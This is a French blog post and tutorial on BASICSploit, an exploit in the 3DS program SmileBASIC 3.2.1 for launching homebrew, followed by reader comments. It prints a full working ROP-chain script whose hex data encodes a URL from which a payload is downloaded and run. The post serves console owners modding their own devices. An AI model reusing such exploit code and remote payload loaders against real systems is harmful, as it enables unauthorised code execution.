[3DS] MrNbaYoh publie son BASICSploit (pour SmileBASIC)
MrNbaYoh n’a pas chômé ! Alors que le hacker venait de publier il y a quelques jours une vidéo prouvant qu’il avait réussi à exploiter une faille dans le programme SmileBASIC, voilà qu’il revient déjà à la charge en le partageant au grand public. Baptisé sobrement BASICSploit, cet exploit n’est pour rappel disponible que pour les joueurs nord-américains et japonais, étant donné que le fameux logiciel SmileBASIC (une sorte de jeu aidant à l’apprentissage du langage de programmation BASIC) n’est téléchargeable que sur les eShop US et JP.
0) Pré-requis
- Une 3DS avec SmileBASIC en version 3.2.1 ;
- Le homebrew starter kit.
Vérifiez bien que vous êtes connecté à internet, en vous rendant dans le menu Home de votre 3DS et en touchant le petit bouton en haut à gauche de l’écran inférieur (avec l’icône en forme de maison).
1) Mini-tuto
1.A) La première fois
Décompressez l’archive du homebrew starter kit à la racine de votre 3DS. Si vous ne savez pas comment lier celle-ci à l’ordinateur, consultez ce court tutoriel.
Lancez SmileBASIC, et créez un nouveau projet nommé « BASICSPLOIT » ainsi qu’un nouveau fichier nommé « DOWNLOADER ». Écrivez (à la main…) dans ce nouveau fichier le script qui suit :
IF HARDWARE==1 THEN CODE_LINEAR_BASE=&H30000000+&H07C00000-&H00100000 ELSE CODE_LINEAR_BASE=&H30000000+&H04000000-&H00100000 ENDIF DATA &HDEADC0DE, &H13341C, &H94500D3, &H109924, &H1E6790, &H10ECA4, &H94500A0, &H1C15D8, &HDEADC0DE, &H94500D7, &HDAFC9754, &H115D5C, &H248720, &H94500DB, &H9450108, &H1DFECC, &H9450074, &H256D78, &H109924, &H2554DC, &H1000, &H248A8C, &HDEADC0DE, &H1FBA38, &H70747468, &H6D2F2F3A, &H61626E72, &H2E686F79, &H68746967, &H692E6275, &H61622F6F, &H73636973, &H696F6C70, &H73752F74, &H3132335F, &H725F642F, &H622E706F, &H6E69 DIM ROP[&H27] ROP[0]=CODE_LINEAR_BASE FOR I=1 TO &H26 READ ROP[I] NEXT BGSCREEN 0,134217728,16 ROP_COPYBASE_X = 406873 ROP_COPYBASE_Y = 7 ROP_LENGTH = LEN(ROP) I=0 J=ROP_COPYBASE_Y X=ROP_COPYBASE_X WHILE I < ROP_LENGTH WHILE I < ROP_LENGTH AND J >= 0 WORD=SHIFT(ROP) BGPUT 0,X,J,WORD DEC J BGPUT 0,X,J,WORD>>16 DEC J INC I WEND INC X J=15 WEND BGPUT 0,4759,2,"0017" BGPUT 0,4759,3,"0D28" FILL ROP,0 END
Lancez le script. Le programme devrait télécharger toutes les ressources nécessaires puis lancer le menu in-game. Une fois arrivé dessus, choisissez l’option « Download/Update » pour télécharger le payload du hax. Quand il sera téléchargé, vous n’aurez plus qu’à le lancer avec la première « entrée » du menu.
1.B) La seconde et les prochaines fois
Lancez simplement le script nommé « BASICSPLOIT » pour accéder au Homebrew Launcher.
N’hésitez pas à poser vos questions ou à réagir en commentaire ! ;)
Wirus
Un virus (étonnamment) gentil, qui ne demande qu'à faire plaisir aux gens ! Et hacker ses consoles, accessoirement...- "bonjour jexplique mon probleme jai effectuer un downgrade 3.73 vers 3.65 sur psvita avec hen2 et moduro mai..." - will11160
- "bonjour j'ai un probleme j'arrive pas a un installer CMA (l'assista,t de gestionnare de contenu ps vita) ..." - juju
- "Hello I am so delighted I found your blog page, I really found you by error, while I was browsing on Digg ..." - Owen
- "Un grand merci pour cette traduction d'excellente qualité. Nintendo n'aurait pas fait mieux ! Vous êtes gén..." - Bastien64x
- "Bonjour ! Désolé pour ce retard, j'espère que tu as pu régler ton problème entre-temps, si ce n'est pas le ..." - Wirus
- "[…] grand nom de la scène hack PSP surtout connu pour son PRO Online, ainsi que noname120, ..." - [PSP] God Eater 2 : un petit patch de traductio...
- "[…] cette nouvelle monture et voir si elle est à la hauteur de nos espérances, car souvenez-vous que ..." - [PSP] [Vita] Le shell CyanogenMod passe en vers...
- "[…] vous en avions déjà parlé, CyanogenMod est un shell PSP développé par Joel16 arborant l..." - [PSP] [Vita] Le shell CyanogenMod passe en vers...
- "[…] Instructions disponibles iciHomebrew non signé CyanogenMod […]" - [PSP] CyanogenMod passe à Android Lollipop - Cu...
- "[…] Pour pouvoir installer le plugin, suivez notre tutoriel : TUTO – Comment installer des plugins ?...." - [PSP] CXMB devient rétro-compatible ! - Custom ...